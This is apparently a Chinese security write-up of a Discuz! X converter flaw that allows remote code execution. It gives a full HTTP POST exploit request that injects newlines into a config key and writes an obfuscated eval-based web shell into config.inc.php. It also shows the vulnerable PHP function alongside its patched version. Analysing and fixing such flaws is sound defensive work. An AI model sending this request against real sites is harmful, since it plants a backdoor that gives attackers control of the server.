Discuz! X upgrade/converter GETSHELL Vulnerability Via /convert/include/global.func.php Inject Special Symbol Into /convert/data/config.inc.php

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

http://p2j.cn/?p=357
http://loudong.360.cn/blog/view/id/15
http://www.2cto.com/Article/201402/278766.html
http://drops.wooyun.org/papers/929

1. /convert/include/global.func.php未对用户的输入数据进行有效过滤(非数字、字母、下划线不能存在)
2. /convert/data/config.inc.php目录可写

POST /DZ2/convert/ HTTP/1.1
Host: 192.168.52.129
Proxy-Connection: keep-alive
Content-Length: 925
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: null
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8

a=config&source=d7.2_x2.0&submit=yes&newconfig%5Btarget%5D%5Bdbhost%5D=localhost&newconfig%5Baaa%0D%0A%0D%0Aeval%28CHR%28101%29.CHR%28118%29.CHR%2897%29.CHR%28108%29.CHR%2840%29.CHR%2834%29.CHR%2836%29.CHR%2895%29.CHR%2880%29.CHR%2879%29.CHR%2883%29.CHR%2884%29.CHR%2891%29.CHR%2899%29.CHR%2893%29.CHR%2859%29.CHR%2834%29.CHR%2841%29.CHR%2859%29%29%3B%2F%2F%5D=localhost&newconfig%5Bsource%5D%5Bdbuser%5D=root&newconfig%5Bsource%5D%5Bdbpw%5D=&newconfig%5Bsource%5D%5Bdbname%5D=discuz&newconfig%5Bsource%5D%5Btablepre%5D=cdb_&newconfig%5Bsource%5D%5Bdbcharset%5D=&newconfig%5Bsource%5D%5Bpconnect%5D=1&newconfig%5Btarget%5D%5Bdbhost%5D=localhost&newconfig%5Btarget%5D%5Bdbuser%5D=root&newconfig%5Btarget%5D%5Bdbpw%5D=&newconfig%5Btarget%5D%5Bdbname%5D=discuzx&newconfig%5Btarget%5D%5Btablepre%5D=pre_&newconfig%5Btarget%5D%5Bdbcharset%5D=&newconfig%5Btarget%5D%5Bpconnect%5D=1&submit=%B1%A3%B4%E6%B7%FE%CE%F1%C6%F7%C9%E8%D6%C3

function buildarray($array, $level = 0, $pre = ‘$_config‘) 
{
    static $ks;
    if($level == 0) 
    {
        $ks = array();
        $return = ‘‘;
    }

    foreach ($array as $key => $val) 
    { 
        if($level == 0) 
        {
            $newline = str_pad(‘  CONFIG ‘.strtoupper($key).‘  ‘, 50, ‘-‘, STR_PAD_BOTH);
            /*
            这里是产生漏洞关键
            1. DISCUZ的本意是使用$config数组的key作为每一块配置区域的"注释标题"
            2. 写入配置文件的$newline依赖于$key，而$key是攻击者可控的
            3. 未对输入数据进行正确的边界处理，导致攻击者在输入数据中插入换行符，逃离注释的作用范围，从而使输入数据转化为可执行代码
                1) 换行符
                2) ?>
            这类定界符都是可以达到同样的效果的
            */
            $return .= "\r\n// $newline //\r\n";
        }

        $ks[$level] = $ks[$level - 1]."[‘$key‘]";
        if(is_array($val)) 
        {
            $ks[$level] = $ks[$level - 1]."[‘$key‘]";
            $return .= buildarray($val, $level + 1, $pre);
        } 
        else 
        {
            $val = !is_array($val) && (!preg_match("/^\-?[1-9]\d*$/", $val) || strlen($val) > 12) ? ‘\‘‘.addcslashes($val, ‘\‘\\‘).‘\‘‘ : $val;
            $return .= $pre.$ks[$level - 1]."[‘$key‘]"." = $val;\r\n";
        }
    }
    return $return;
}

function buildarray($array, $level = 0, $pre = ‘$_config‘) 
{
    static $ks;
    if($level == 0) 
    {
        $ks = array();
        $return = ‘‘;
    }

    foreach ($array as $key => $val) 
    { 
        //过滤掉$key中的非字母、数字及下划线字符
        $key = preg_replace("/[^\w]/", "", $key);

        if($level == 0) 
        {
            $newline = str_pad(‘  CONFIG ‘.strtoupper($key).‘  ‘, 50, ‘-‘, STR_PAD_BOTH);
            $return .= "\r\n// $newline //\r\n";
        }

        $ks[$level] = $ks[$level - 1]."[‘$key‘]";
        if(is_array($val)) 
        {
            $ks[$level] = $ks[$level - 1]."[‘$key‘]";
            $return .= buildarray($val, $level + 1, $pre);
        } 
        else 
        {
            $val = !is_array($val) && (!preg_match("/^\-?[1-9]\d*$/", $val) || strlen($val) > 12) ? ‘\‘‘.addcslashes($val, ‘\‘\\‘).‘\‘‘ : $val;
            $return .= $pre.$ks[$level - 1]."[‘$key‘]"." = $val;\r\n";
        }
    }
    return $return;
}